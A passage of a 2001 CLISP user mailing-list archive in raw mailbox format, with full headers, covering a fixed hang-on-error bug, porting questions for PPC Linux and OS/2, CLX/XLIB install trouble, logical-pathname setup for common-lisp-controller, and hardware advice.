hang/hog happened. It tool a "killall lisp.run" to get my > > prompt back. > > I do not observe this, either before or after my fix. The fix you mention above? It would seem unlikely that it would have anything to do with it. As I think I've already demonstrated the hang problem seems to be when an `error' is thrown and clisp has been called as a "batch" process. > I would appreciate it if could create a reproducible test case, i.e., a > stand-alone file foo.lisp such that > $ clisp -norc -c foo.lisp > hangs/hogs. See <20010423171551.S28537@hagbard.davep.org> for one example of a reproducible test case. If it's compilation you're interested in then this: ,----[ foo.lisp ] | ) `---- is the smallest possible lisp file that causes the hang when compiled. IOW, what I'm observing isn't a compiler problem, it's a problem with clisp hanging when an `error' is thrown. Note that 2.25.1 doesn't demonstrate this version, clisp built from current CVS does. As I asked in <20010423212446.C28537@hagbard.davep.org>, are there some obvious environmental differences I should be looking for? Failing that, is there some useful way I can check what clisp is doing at the point that it hangs during an error? -- Dave Pearson http://www.davep.org/ From igc2@psu.edu Wed Apr 25 06:21:34 2001 Received: from f04s01.cac.psu.edu ([128.118.141.31] helo=f04n01.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14sPEb-0005rP-00 for ; Wed, 25 Apr 2001 06:21:33 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n01.cac.psu.edu (8.9.3/8.9.3) with SMTP id JAA111022 for ; Wed, 25 Apr 2001 09:21:13 -0400 Message-ID: <002801c0cd8a$7567ed20$a681cb82@ist.psu.edu> From: "isaac councill" To: Date: Wed, 25 Apr 2001 09:20:12 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0025_01C0CD68.EE3C5C80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [clisp-list] clisp on PPC linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0025_01C0CD68.EE3C5C80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I am trying to obtain a running Clisp, CLX, Garnet combo on my rs/6000's = running SuSE linux. Does anyone know of a port that would work? Thanks, Isaac Councill ------=_NextPart_000_0025_01C0CD68.EE3C5C80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
I am trying to obtain a running Clisp, = CLX, Garnet=20 combo on my rs/6000's running SuSE linux.  Does anyone know of a = port that=20 would work?
 
Thanks,
Isaac = Councill
------=_NextPart_000_0025_01C0CD68.EE3C5C80-- From sds@gnu.org Wed Apr 25 13:13:11 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14sVex-00045q-00 for ; Wed, 25 Apr 2001 13:13:11 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA02696; Wed, 25 Apr 2001 16:13:07 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) References: <20010420132444.W20026@hagbard.davep.org> <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> <20010423221502.E28537@hagbard.davep.org> <20010424164521.G4029@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010424164521.G4029@hagbard.davep.org> Date: 25 Apr 2001 16:10:31 -0400 Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010424164521.G4029@hagbard.davep.org> > * On the subject of "Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)" > * Sent on Tue, 24 Apr 2001 16:45:21 +0100 > * Honorable Dave Pearson writes: > > IOW, what I'm observing isn't a compiler problem, it's a problem with > clisp hanging when an `error' is thrown. > Note that 2.25.1 doesn't demonstrate this version, clisp built from > current CVS does. yep - this is a linux-specific bug in eval.d which I somehow introduced with my handler-bind patch. I think I fixed this bug now. the test case is $ clisp -q -norc -x '(/ 0)' -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Despite the raising cost of living, it remains quite popular. From davep@davep.org Wed Apr 25 16:05:38 2001 Received: from tele-post-20.mail.demon.net ([194.217.242.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14sYLq-0004r7-00 for ; Wed, 25 Apr 2001 16:05:38 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by tele-post-20.mail.demon.net with esmtp (Exim 2.12 #2) id 14sYLm-000024-0K for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2001 23:05:35 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id XAA06771 for clisp-list@lists.sourceforge.net; Wed, 25 Apr 2001 23:00:58 +0100 Date: Wed, 25 Apr 2001 23:00:58 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module) Message-ID: <20010425230058.R4029@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20010420134340.X20026@hagbard.davep.org> <20010421070839.L20026@hagbard.davep.org> <20010423171551.S28537@hagbard.davep.org> <20010423221502.E28537@hagbard.davep.org> <20010424164521.G4029@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Apr 25, 2001 at 04:10:31PM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Setting Orange, Day 42 of the season of Discord, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, Apr 25, 2001 at 04:10:31PM -0400, Sam Steingold wrote: > > IOW, what I'm observing isn't a compiler problem, it's a problem with > > clisp hanging when an `error' is thrown. Note that 2.25.1 doesn't > > demonstrate this version, clisp built from current CVS does. > > yep - this is a linux-specific bug in eval.d which I somehow introduced > with my handler-bind patch. I think I fixed this bug now. Confirmed at this end. Thanks. -- Dave Pearson http://www.davep.org/ From sds@gnu.org Thu Apr 26 07:22:50 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14smfR-0003vg-00 for ; Thu, 26 Apr 2001 07:22:49 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA11294; Thu, 26 Apr 2001 10:22:40 -0400 (EDT) X-Envelope-To: To: "isaac councill" Cc: Subject: Re: [clisp-list] clisp on PPC linux References: <002801c0cd8a$7567ed20$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <002801c0cd8a$7567ed20$a681cb82@ist.psu.edu> Date: 26 Apr 2001 10:19:32 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <002801c0cd8a$7567ed20$a681cb82@ist.psu.edu> > * On the subject of "[clisp-list] clisp on PPC linux" > * Sent on Wed, 25 Apr 2001 09:20:12 -0400 > * Honorable "isaac councill" writes: > > I am trying to obtain a running Clisp, CLX, Garnet combo on my > rs/6000's running SuSE linux. Does anyone know of a port that would > work? Please download the CLISP sources and follow the instructions. I do not have an access to such a machine to build CLISP there. Can you give me access? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Old Age Comes at a Bad Time. From dlin@ic.sunysb.edu Fri Apr 27 23:01:37 2001 Received: from postal.ic.sunysb.edu ([129.49.1.24] helo=mail.ic.sunysb.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14tNnU-0006kz-00 for ; Fri, 27 Apr 2001 23:01:37 -0700 Received: from dlin.resnet.sunysb.edu (dlin.resnet.sunysb.edu [129.49.243.48]) by mail.ic.sunysb.edu (8.11.3/8.11.3) with ESMTP id f3S61ZP06080 for ; Sat, 28 Apr 2001 02:01:35 -0400 (EDT) Date: Sat, 28 Apr 2001 01:59:37 -0400 (EDT) From: Richard Lin X-X-Sender: To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] CLISP Binary on RedHat 7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi there, I've compiled clisp on my RedHat 7.1 linux box. http://www.sinc.sunysb.edu/stu/dlin/clisp/ -richard From csr21@cam.ac.uk Sun Apr 29 14:49:05 2001 Received: from navy.csi.cam.ac.uk ([131.111.8.49]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14tz3w-0005IX-00 for ; Sun, 29 Apr 2001 14:49:04 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by navy.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 14tz3q-0000M0-00 for clisp-list@sourceforge.net; Sun, 29 Apr 2001 22:48:58 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.22 #1 (Debian)) id 14tz3q-0004yn-00; Sun, 29 Apr 2001 22:48:58 +0100 Date: Sun, 29 Apr 2001 22:48:57 +0100 To: CLISP Message-ID: <20010429224857.A18978@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.17i From: Christophe Rhodes Subject: [clisp-list] common-lisp-controller Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear all, Has anyone (apart from me) tried to convince clisp to play ball with common-lisp-controller[*]? I don't think it's terribly deep (basically, it involves setting up a couple of logical hosts for pathnames, and ensuring that defsystem is loaded) but I haven't managed; there seems to be some discrepancy between the ways clisp and cmucl/sbcl treat logical pathnames. The last time I tried was in February, so this may have changed; before trying again, I'd want to know that no-one else is quietly sitting with a correctly-functioning common-lisp-controllerized clisp. Cheers, Christophe [*] http://ww.telent.net/cliki/common-lisp-controller -- Jesus College, Cambridge, CB5 8BL +44 1223 524 842 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From stig@ii.uib.no Mon Apr 30 02:43:53 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uADf-0000K7-00 for ; Mon, 30 Apr 2001 02:43:51 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 14uADf-0007DZ-00 ; Mon, 30 Apr 2001 11:43:51 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id LAA06850; Mon, 30 Apr 2001 11:43:46 +0200 (MEST) Date: Mon, 30 Apr 2001 11:43:46 +0200 (MEST) From: Stig Erik Sandoe To: CLISP cc: Karl Trygve Kalleberg Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] OS/2 still in use? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: hi, I have gotten a question from some people who wish to use some of my lisp-code on OS/2, and I have noted that clisp has OS/2 in it's list of succesful ports. Has there been any builds for OS/2 lately and if so, is it an easy compile? I do not have access to OS/2 myself, but the code works like a charm with clisp on Un*x-systems so I was hoping clisp might work out here. ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From sds@gnu.org Mon Apr 30 08:06:50 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uFGE-0004xP-00 for ; Mon, 30 Apr 2001 08:06:50 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA07389; Mon, 30 Apr 2001 11:06:46 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] common-lisp-controller References: <20010429224857.A18978@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010429224857.A18978@cam.ac.uk> Date: 30 Apr 2001 11:04:02 -0400 Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010429224857.A18978@cam.ac.uk> > * On the subject of "[clisp-list] common-lisp-controller" > * Sent on Sun, 29 Apr 2001 22:48:57 +0100 > * Honorable Christophe Rhodes writes: > > basically, it involves setting up a couple of logical hosts I suspect you should look at http://clisp.sourceforge.net/impnotes.html#parsename -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on War doesn't determine who's right, just who's left. From marcoxa@cs.nyu.edu Mon Apr 30 13:10:41 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uK0G-00053i-00 for ; Mon, 30 Apr 2001 13:10:40 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id QAA15373; Mon, 30 Apr 2001 16:09:06 -0400 Date: Mon, 30 Apr 2001 16:09:06 -0400 Message-Id: <200104302009.QAA15373@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: csr21@cam.ac.uk, clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 30 Apr 2001 11:04:02 -0400) Subject: Re: [clisp-list] common-lisp-controller References: <20010429224857.A18978@cam.ac.uk> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > > * In message <20010429224857.A18978@cam.ac.uk> > > * On the subject of "[clisp-list] common-lisp-controller" > > * Sent on Sun, 29 Apr 2001 22:48:57 +0100 > > * Honorable Christophe Rhodes writes: > > > > basically, it involves setting up a couple of logical hosts > > I suspect you should look at > http://clisp.sourceforge.net/impnotes.html#parsename Isn't *PARSE-NAMESTRING-ANSI* set to T when Clisp is started with the ANSI switch? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Mon Apr 30 13:19:21 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uK8f-0005lH-00 for ; Mon, 30 Apr 2001 13:19:21 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA22633; Mon, 30 Apr 2001 16:19:12 -0400 (EDT) X-Envelope-To: To: Marco Antoniotti Cc: csr21@cam.ac.uk, clisp-list@sourceforge.net Subject: Re: [clisp-list] common-lisp-controller References: <20010429224857.A18978@cam.ac.uk> <200104302009.QAA15373@octagon.mrl.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200104302009.QAA15373@octagon.mrl.nyu.edu> Date: 30 Apr 2001 16:16:11 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200104302009.QAA15373@octagon.mrl.nyu.edu> > * On the subject of "Re: [clisp-list] common-lisp-controller" > * Sent on Mon, 30 Apr 2001 16:09:06 -0400 > * Honorable Marco Antoniotti writes: > > > I suspect you should look at > > http://clisp.sourceforge.net/impnotes.html#parsename > > Isn't *PARSE-NAMESTRING-ANSI* set to T when Clisp is started with the > ANSI switch? yeah - so? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who can't write, write manuals. From marcoxa@cs.nyu.edu Mon Apr 30 19:54:56 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uQJT-0006q4-00 for ; Mon, 30 Apr 2001 19:54:55 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id WAA16751; Mon, 30 Apr 2001 22:53:22 -0400 Date: Mon, 30 Apr 2001 22:53:22 -0400 Message-Id: <200105010253.WAA16751@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: csr21@cam.ac.uk, clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 30 Apr 2001 16:16:11 -0400) Subject: Re: [clisp-list] common-lisp-controller References: <20010429224857.A18978@cam.ac.uk> <200104302009.QAA15373@octagon.mrl.nyu.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Envelope-To: > Cc: csr21@cam.ac.uk, clisp-list@sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > Date: 30 Apr 2001 16:16:11 -0400 > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 > Content-Type: text/plain; charset=us-ascii > Content-Length: 662 > > > * In message <200104302009.QAA15373@octagon.mrl.nyu.edu> > > * On the subject of "Re: [clisp-list] common-lisp-controller" > > * Sent on Mon, 30 Apr 2001 16:09:06 -0400 > > * Honorable Marco Antoniotti writes: > > > > > I suspect you should look at > > > http://clisp.sourceforge.net/impnotes.html#parsename > > > > Isn't *PARSE-NAMESTRING-ANSI* set to T when Clisp is started with the > > ANSI switch? > > yeah - so? Just asking. It is not so clear in the docs. At least not in the #parsename bit. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From igc2@psu.edu Tue May 01 07:15:57 2001 Received: from f04s07.cac.psu.edu ([128.118.141.35] helo=f04n07.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14uawS-0003UP-00 for ; Tue, 01 May 2001 07:15:52 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n07.cac.psu.edu (8.9.3/8.9.3) with SMTP id KAA59880 for ; Tue, 1 May 2001 10:15:49 -0400 Message-ID: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> From: "isaac councill" To: Date: Fri, 27 Apr 2001 10:14:51 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_002A_01C0CF02.E5DCA220" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [clisp-list] nclx for clisp install problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_002A_01C0CF02.E5DCA220 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I'm not sure if this is the right place for this question, but I did not = know where else to go. I am in need of a working clisp/clx/garnet on = x86 Linux but I cannot seem to get nclx working properly (mit-clx is = even more problematic). It compiles fine but complains that there is no = package XLIB. Do any of you know where I might be able to find this = XLIB package? thank you, Isaac Councill ------=_NextPart_000_002A_01C0CF02.E5DCA220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
I'm not sure if this is the right place = for this=20 question, but I did not know where else to go.  I am in need of a = working=20 clisp/clx/garnet on x86 Linux but I cannot seem to get nclx working = properly=20 (mit-clx is even more problematic).  It compiles fine but complains = that=20 there is no package XLIB.  Do any of you know where I might be able = to find=20 this XLIB package?
 
thank you,
Isaac = Councill
------=_NextPart_000_002A_01C0CF02.E5DCA220-- From sds@gnu.org Tue May 01 09:14:27 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ucnC-0003ZY-00 for ; Tue, 01 May 2001 09:14:27 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA21077; Tue, 1 May 2001 12:14:23 -0400 (EDT) X-Envelope-To: To: "isaac councill" Cc: Subject: Re: [clisp-list] nclx for clisp install problem References: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> Date: 01 May 2001 12:10:52 -0400 Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu> > * On the subject of "[clisp-list] nclx for clisp install problem" > * Sent on Fri, 27 Apr 2001 10:14:51 -0400 > * Honorable "isaac councill" writes: > > I'm not sure if this is the right place for this question, but I did > not know where else to go. this is the right place to ask the question. > I am in need of a working clisp/clx/garnet on x86 Linux but I cannot > seem to get nclx working properly (mit-clx is even more problematic). > It compiles fine but complains that there is no package XLIB. Do any > of you know where I might be able to find this XLIB package? You did not give us enough information. Sorry. Where did you get the sources? Is it the release (2.25.1)? CVS (pre-2.26)? What did you do to compile CLISP? what is the exact error message you are getting (and what exactly did you do to get it)? Thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Oh Lord, give me the source code of the Universe and a good debugger! From Randy.Justice@cnet.navy.mil Tue May 01 09:50:00 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14udL7-0007lo-00 for ; Tue, 01 May 2001 09:49:29 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id LAA15697 for ; Tue, 1 May 2001 11:48:52 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Tue, 1 May 2001 11:48:55 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@sourceforge.net Date: Tue, 1 May 2001 11:48:54 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0D25E.9B726C60" Subject: [clisp-list] System Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0D25E.9B726C60 Content-Type: text/plain; charset="iso-8859-1" Hi. I'm am working on a PhD dissertation with Lisp and GA. I need to replace my system. I plan to use a Linux as the base OS. Which would clisp run better a single processor, 1.2-1.3 MHZ, or a dual processor, 700-800 MHZ? Thanks for your input Randy ------_=_NextPart_001_01C0D25E.9B726C60 Content-Type: text/html; charset="iso-8859-1" System

Hi.

I'm am working on a PhD dissertation with Lisp and GA.
I need to replace my system.  I plan to use a Linux as the
base OS. 
Which would clisp run better a single processor, 1.2-1.3 MHZ, or
a dual processor, 700-800 MHZ? 


Thanks for your input

Randy

------_=_NextPart_001_01C0D25E.9B726C60-- From sds@gnu.org Tue May 01 10:55:45 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ueNF-0006YR-00 for ; Tue, 01 May 2001 10:55:45 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA10270; Tue, 1 May 2001 13:55:40 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] System References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 01 May 2001 13:52:06 -0400 Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] System" > * Sent on Tue, 1 May 2001 11:48:54 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Which would clisp run better a single processor, 1.2-1.3 MHZ, or > a dual processor, 700-800 MHZ? I am not sure - but I would think that a fast single processor is better, since CLISP is single-threaded. YMMV, caveat emptor &c -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I'm out of my mind, but feel free to leave a message... From sds@gnu.org Tue May 01 14:10:44 2001 Received: from user1.channel1.com 